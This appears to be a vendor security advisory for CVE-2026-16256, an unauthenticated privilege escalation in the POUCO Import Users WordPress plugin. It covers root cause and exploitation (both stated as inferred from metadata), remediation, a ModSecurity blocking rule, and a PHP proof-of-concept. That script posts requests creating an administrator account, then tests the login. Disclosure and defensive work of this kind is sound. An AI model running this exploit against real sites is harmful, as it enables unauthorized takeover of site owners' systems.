Atomic Edge analysis of CVE-2026-16256 (metadata-based): The POUCO Import Users plugin for WordPress, versions up to and including 1.0.0, contains an unauthenticated privilege escalation vulnerability. The flaw permits unauthenticated attackers to register new administrative user accounts, resulting in complete site compromise. With a CVSS score of 9.8 and a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, this is a critical severity issue that requires no authentication or user interaction and can be exploited remotely over the network.
Root Cause: The CWE classification is CWE-266 (Incorrect Privilege Assignment). Atomic Edge analysis infers the root cause from this classification and the description. The plugin likely exposes an import or user registration handler that fails to enforce a capability check (e.g., missing current_user_can(‘create_users’) or manage_options) and fails to validate the requested role during user creation. The handler may accept a role parameter directly from the request and pass it to wp_insert_user or wp_create_user without restricting it to a safe default such as subscriber. Because no code diff is available, this exact mechanism is inferred, not confirmed. The vulnerability is unauthenticated, which indicates the endpoint also lacks a nonce check or the nonce is predictable or not enforced.
Exploitation: Atomic Edge research expects the attack to target either an AJAX action exposed via /wp-admin/admin-ajax.php or a REST API route, since the plugin is named Import Users and must expose an unauthenticated import or registration function. The likely action name is derived from the plugin slug, for example action=pouco_import_users or action=pouco_import_users_import. An attacker submits a POST request with parameters such as user_login, user_pass, user_email, and role=administrator. If the handler accepts the role parameter without validation, WordPress creates a new administrator account. The attacker then logs in with the supplied credentials to obtain full administrative access. This exploitation path is inferred from the CWE and description rather than confirmed from source code.
Remediation: The fix requires enforcing authentication and capability checks on the vulnerable handler. The plugin should require a valid nonce and verify current_user_can(‘create_users’) or manage_options before processing any user creation request. The handler must also ignore or reject any client-supplied role parameter and force a safe default role such as subscriber, or restrict role assignment to administrators only. Atomic Edge analysis recommends that site owners remove the plugin until a patched version is available, since no patched version currently exists.
Impact: Successful exploitation allows an unauthenticated attacker to create an administrator account, resulting in full site takeover. The attacker can install malicious plugins or themes, modify content, exfiltrate data, create additional backdoor accounts, and potentially achieve remote code execution by editing plugin or theme files. The confidentiality, integrity, and availability impacts are all high, consistent with the CVSS vector.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-16256 (metadata-based)
# The vulnerability is unauthenticated role assignment during an import/registration
# operation. Legitimate unauthenticated traffic to this plugin is uncommon, so we
# narrowly match the inferred AJAX action and the dangerous role parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202616256,phase:2,deny,status:403,chain,msg:'CVE-2026-16256 POUCO Import Users unauthenticated privilege escalation',severity:'CRITICAL',tag:'CVE-2026-16256'"
SecRule ARGS_POST:action "@rx ^pouco_import_users(_import)?$" "chain"
SecRule ARGS_POST:role "@rx ^(administrator|admin|editor)$" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-16256 - POUCO Import Users <= 1.0.0 - Unauthenticated Privilege Escalation
//
// Assumptions:
// - The plugin exposes an unauthenticated handler via admin-ajax.php or a direct PHP file.
// - The action name and parameter names are inferred from the plugin slug and common
// WordPress import-user patterns. Adjust them if the actual handler differs.
// - The handler creates a user with an attacker-supplied role parameter.
$target_url = 'http://example.com';
// Candidate endpoints and action names inferred from metadata.
$candidates = [
[
'url' => $target_url . '/wp-admin/admin-ajax.php',
'body' => [
'action' => 'pouco_import_users',
'user_login'=> 'atomic_edge_admin',
'user_pass' => 'P@ssw0rd!AtomicEdge',
'user_email'=> 'atomic.edge@example.com',
'role' => 'administrator',
],
],
[
'url' => $target_url . '/wp-admin/admin-ajax.php',
'body' => [
'action' => 'pouco_import_users_import',
'user_login'=> 'atomic_edge_admin',
'user_pass' => 'P@ssw0rd!AtomicEdge',
'user_email'=> 'atomic.edge@example.com',
'role' => 'administrator',
],
],
[
'url' => $target_url . '/wp-content/plugins/pouco-import-users/pouco-import-users.php',
'body' => [
'user_login'=> 'atomic_edge_admin',
'user_pass' => 'P@ssw0rd!AtomicEdge',
'user_email'=> 'atomic.edge@example.com',
'role' => 'administrator',
],
],
];
foreach ($candidates as $candidate) {
$ch = curl_init($candidate['url']);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($candidate['body']));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
echo "Endpoint: {$candidate['url']}n";
echo "Action: " . ($candidate['body']['action'] ?? 'direct') . "n";
echo "HTTP: {$http_code}n";
if ($error) {
echo "cURL error: {$error}n";
}
echo "Response: " . substr((string)$response, 0, 500) . "n";
echo str_repeat('-', 60) . "n";
// A successful exploit typically returns a success indicator or a redirect.
// Verify by attempting to log in with the created credentials via wp-login.php.
if ($http_code === 200 && stripos((string)$response, 'error') === false && (stripos((string)$response, 'success') !== false || $response === '1' || $response === 'true')) {
echo "[+] Possible successful user creation. Attempting login check.n";
$login_ch = curl_init($target_url . '/wp-login.php');
curl_setopt($login_ch, CURLOPT_POST, true);
curl_setopt($login_ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $candidate['body']['user_login'],
'pwd' => $candidate['body']['user_pass'],
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1',
]));
curl_setopt($login_ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($login_ch, CURLOPT_COOKIEJAR, tempnam(sys_get_temp_dir(), 'ae_cookie_'));
$login_response = curl_exec($login_ch);
$login_code = curl_getinfo($login_ch, CURLINFO_HTTP_CODE);
curl_close($login_ch);
echo "[*] Login HTTP {$login_code}. Inspect manually to confirm admin access.n";
}
}